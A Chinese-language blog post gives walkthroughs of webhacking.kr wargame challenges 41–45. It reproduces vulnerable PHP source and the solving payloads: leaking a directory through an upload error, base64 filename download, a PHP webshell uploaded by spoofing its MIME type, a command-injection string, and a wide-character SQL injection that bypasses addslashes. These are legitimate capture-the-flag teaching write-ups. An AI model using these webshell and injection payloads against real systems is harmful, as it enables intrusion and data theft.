webhacking.kr 一天五題系列 IX

Albert Huang MED student | CS enthusiast

old-41

本題考點:Maximum filename length、error_reporting 讀取目錄

給了一個上傳的地方,來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
include "../../config.php";
include "./inc.php";
if($_GET['view_source']) view_source();
error_reporting(E_ALL);
ini_set("display_errors", 1);
?><html>
<head>
<title>Challenge 41</title>
</head>
<body>
<?php
if(isset($_FILES['up']) && $_FILES['up']){
$fn = $_FILES['up']['name'];
$fn = str_replace(".","",$fn);
$fn = str_replace("<","",$fn);
$fn = str_replace(">","",$fn);
$fn = str_replace("/","",$fn);

$cp = $_FILES['up']['tmp_name'];
copy($cp,"./{$upload_dir}/{$fn}");
$f = @fopen("./{$upload_dir}/{$fn}","w");
@fwrite($f,$flag);
@fclose($f);
echo("Done~");
}
?>
<form method=post enctype="multipart/form-data">
<input type=file name=up><input type=submit value='upload'>
</form>
<a href=./?view_source=1>view-source</a>
</body>
</html>

可以看到它在移除上傳檔案檔名中的 .<>/ 四種字元之後,會將 flag 寫入 ./{$upload_dir}/{$fn},但我們並不知道 $upload_dir 是什麼,因此無法直接讀取 flag。但第 5 行存在另一個漏洞,它會讓網站在上傳錯誤時把錯誤訊息印出,因此可能可以透過它來找到 $upload_dir

最簡單的方式是 Linux 存在上傳檔名長度限制:
https://serverfault.com/questions/9546/filename-length-limits-on-linux
可以發現長度限制為 255 個字元,因此只要超過這個限制就會報錯。

使用 BurpSuite 上傳檔名過長檔案找到 $upload_dir,並且上傳一個正常檔案即可讀取拿到 flag

old-42

本題考點:敏感檔案下載、base64 編碼

題目給了一個可以下載檔案的地方,很明顯我們需要讀取 flag.docx,但按下後會顯示 Access Denied,但 test.txt 則可以正常下載,來看一下 source code:

1
2
3
4
5
<table border="1" align="center" width="300">
<tbody><tr><td width="50">no</td><td>subject</td><td>file</td></tr>
<tr><td>2</td><td>test</td><td>test.txt [<a href="?down=dGVzdC50eHQ=">download</a>]</td></tr>
<tr><td>1</td><td>read me</td><td>flag.docx [<a href="javascript:alert(&quot;Access%20Denied&quot;)">download</a>]</td></tr>
</tbody></table>

可以發現 test.txt 的連結是一個特別的 GET 參數,看起來很像 base64,來試試看:

1
2
$ echo "dGVzdC50eHQ=" | base64 -d
test.txt

因此可以發現將檔名 base64 編碼後放到 down 參數後即可下載該檔案,用這個方法下載 flag.docx 即可拿到 flag。

old-43

本題考點:Webshell upload、MIME Spoofing

題目開宗明義地講了我們需要做的事:

1
You must upload webshell and cat /flag

因此嘗試上傳一個最簡單的 shell.php

1
2
3
<?php
system($_GET['cmd']);
?>

上傳後顯示 wrong type,因此嘗試使用 BurpSuite 將 type 改為 text 即可上傳,直接透過 shell 拿到 flag

old-44

本題考點:Command Injection

題目給了一個輸入框,來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if($_GET['view_source']){ highlight_file(__FILE__); exit; }
?><html>
<head>
<title>Challenge 44</title>
</head>
<body>
<?php
if($_POST['id']){
$id = $_POST['id'];
$id = substr($id,0,5);
system("echo 'hello! {$id}'"); // You just need to execute ls
}
?>
<center>
<form method=post action=index.php name=htmlfrm>
name : <input name=id type=text maxlength=5><input type=submit value='submit'>
</form>
<a href=./?view_source=1>view-source</a>
</center>
</body>
</html>

很明顯是個 Command Injection 的題目,而我們需要將括號閉合後執行自己的指令,因此先嘗試以下 Payload:

1
echo 'hello! ';ls''

可以找到 flag 的檔案,直接拜訪該檔案即可獲得 flag

old-45

本題考點:寬字元 SQLi

又是一個 SQL 題,直接使用預設 guest 登入會顯示 hi guest,來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
if($_GET['id'] && $_GET['pw']){
$db = dbconnect();
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
echo "hi {$result['id']}";
if($result['id'] == "admin") solve(45);
}
else echo("Wrong");
}
?>
</body>
</html>

先來看一下他把 idpw 讀進來之後做了什麼事:

1
2
3
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');

首先它會先將 ' 等字元加上反斜線 \ 來跳脫成 \',讓我們不能成功的閉合引號。但接著他使用了 mb_convert_encoding() 這個函式,來將編碼從 euc-kr 改為 utf-8,其中 euc-kr 是韓文專用的編碼,可能會出現兩字節的寬字節來表示韓文的情況,因此例如 %aa\ 在 UTF-8 就會無法顯示變成 null,這樣就可以把跳脫的 \ 處理掉了。

接著它限制了 idpw 中不能出現 adminselectlimitpw=>< 字元,因此要輸入 admin 需要改為 hex 處理,而不能出現 = 的部分則用 like 替代。

嘗試以下 payload:

1
2
select id from chall45 where id='%aa\' or id like 0x61646d696e#' and pw=md5('M3t30r')
= select id from chall45 where id='' or id like 0x61646d696e#

URL encode 之後放到瀏覽器參數中即可過關。

  • Title: webhacking.kr 一天五題系列 IX
  • Author: Albert Huang
  • Created at : 2026-06-24 12:44:34
  • Updated at : 2026-06-26 14:08:16
  • Link: https://blog.albert-web.tw/2026/06/24/webhacking-writeup-9/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
webhacking.kr 一天五題系列 IX